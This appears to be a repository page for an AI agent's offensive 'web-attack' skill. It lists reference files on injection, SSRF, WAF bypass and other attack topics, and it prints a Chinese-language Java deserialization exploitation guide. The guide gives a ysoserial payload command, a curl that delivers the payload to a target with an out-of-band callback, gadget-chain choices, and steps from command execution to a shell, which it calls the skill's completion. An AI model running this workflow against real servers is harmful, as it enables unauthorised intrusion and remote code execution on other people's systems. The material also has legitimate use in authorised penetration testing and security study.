pale-knight/redteam-skill / skills/web-attack
web-attack
FlaggedHTTP/Web exploitation until a server shell or equivalent OS execution. Use after /web-recon has mapped the application. Covers injection, upload, LFI, SSRF/XXE, SSTI, deserialization, JWT/SAML, API logic, desync/cache/parser, and Web-controlled backend abuse. WAF stays here. Endpoint blocks after OS execution hand off to /edr-bypass then return. Direct non-HTTP service ports belong to /recon or /service-attack.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 5.3 KB |
| references/api-security.md | markdown | 20.3 KB |
| references/auth-bypass.md | markdown | 1.9 KB |
| references/cmdi.md | markdown | 5.0 KB |
| references/deserialization.md | markdown | 1.6 KB |
| references/http-desync.md | markdown | 5.2 KB |
| references/java-deserialization.md | markdown | 3.3 KB |
| references/jwt.md | markdown | 1.4 KB |
| references/lfi-rfi.md | markdown | 4.0 KB |
| references/orm-leak.md | markdown | 5.3 KB |
| references/parser-differentials.md | markdown | 4.4 KB |
| references/saml-security.md | markdown | 3.6 KB |
| references/server-side-client-abuse.md | markdown | 3.3 KB |
| references/sqli-mssql-chain.md | markdown | 6.3 KB |
| references/sqli-mysql-chain.md | markdown | 5.9 KB |
| references/sqli-oracle-chain.md | markdown | 4.7 KB |
| references/sqli-postgresql-chain.md | markdown | 4.6 KB |
| references/sqli.md | markdown | 8.0 KB |
| references/ssrf.md | markdown | 4.6 KB |
| references/ssti.md | markdown | 5.3 KB |
| references/upload.md | markdown | 3.6 KB |
| references/waf-bypass.md | markdown | 6.8 KB |
| references/web-cache.md | markdown | 4.1 KB |
| references/xss.md | markdown | 3.8 KB |
| references/xxe.md | markdown | 1.5 KB |
references/java-deserialization.md
View on GitHub# Java JSON / 现代反序列化详细参考
> 明确产品+版本 CVE 的发现/PoC 验证先由 `/web-recon` 处理。本文件负责**无明确 CVE 时**的 Java serialization / JSON polymorphic type / AutoType 类入口手工挖掘和利用思路。
---
## 1. 入口识别
### 原生 Java Serialization
```
Content-Type: application/x-java-serialized-object
base64以 rO0AB 开头
hex: ac ed 00 05
```
破坏几个字节后响应出现:
```
ObjectInputStream
readObject
InvalidClassException
StreamCorruptedException
```
→ 高可信入口。
### JSON 多态类型
关注:
```
@type
@class
$type
type
className
@c
```
错误:
```
Could not resolve type id
AutoType is not support
ClassNotFoundException
InvalidTypeIdException
Jackson polymorphic type
Fastjson
```
---
## 2. Java 原生 Gadget — ysoserial
先用 OOB/低影响 gadget 确认,不要一开始反弹 shell。
```
java -jar ysoserial.jar URLDNS 'http://UNIQUE.interactsh-domain/' > payload.bin
curl -sk https://TARGET/endpoint \
-H 'Content-Type: application/x-java-serialized-object' \
--data-binary @payload.bin
```
收到 DNS/HTTP OOB → 证明反序列化 gadget 触发。
再根据 classpath 选择:
```
CommonsCollections1-7
CommonsBeanutils1
Groovy1
Spring1/2
Hibernate
C3P0
```
不要盲目轮全部 gadget:优先从错误栈、pom.xml、lockfile、源码确认依赖。
---
## 3. Jackson / Polymorphic Deserialization
信号:
```
@JsonTypeInfo
DefaultTyping
activateDefaultTyping
ObjectMapper
InvalidTypeIdException
```
判断:
```
用户能否控制type id?
目标base type是否Object/interface/abstract?
PolymorphicTypeValidator是否限制?
classpath是否存在可触发gadget?
```
“能指定类名” ≠ “必定 RCE”。
---
## 4. Fastjson 1.x / 2.x 的正确定位
### Fastjson 1.x
历史 AutoType 绕过依赖:
```
版本
AutoType/SafeMode
expectClass
可用类/gadget
JNDI/classloading等运行环境
```
`@type` DNS probe 只能说明某些类型被解析/实例化,不应直接当 RCE。
### CVE-2026-16723
这是**明确产品 CVE**:fastjson 1.2.68–1.2.83 的特定远程资源/类加载路径,Alibaba 官方明确说明 fastjson2 不受这个 CVE 影响。
因此:
```
明确版本候选
→ /web-recon known CVE/PoC validation
```
不要在本文件把它和所有 Fastjson AutoType 混在一起。
### Fastjson2 FNV/hash 研究
2026 前后出现过 type-name hash collision / validation hardening 研究和修复,但:
```
hash collision primitive
≠
任意 Fastjson2 应用通用 RCE
```
必须证明:
```
目标版本
实际 ObjectReader/type resolver sink
filter/allowlist路径
文本等值验证是否存在
classloading/URL行为是否可达
```
**禁止写“fastjson2 <= 某版本 = 一定RCE”这种规则。**
---
## 5. SnakeYAML / XStream / Kryo / Hessian 等
出现库指纹时按库加载单独工具/PoC:
```
SnakeYAML → YAML type tags
XStream → XML object graph
Kryo → binary serialization
Hessian → RPC serialization
```
原则:
```
先证实反序列化入口
→ 证实可控类型/对象图
→ 根据真实依赖选择gadget
→ OOB验证
→ OS command
→ Shell
```
---
## 6. RCE 到 Shell
命令执行确认:
```
id
whoami
```
确认后再根据 OS 选择稳定 shell;不要先执行持久化或后渗透。
Shell 到手 → `/web-attack` COMPLETE。
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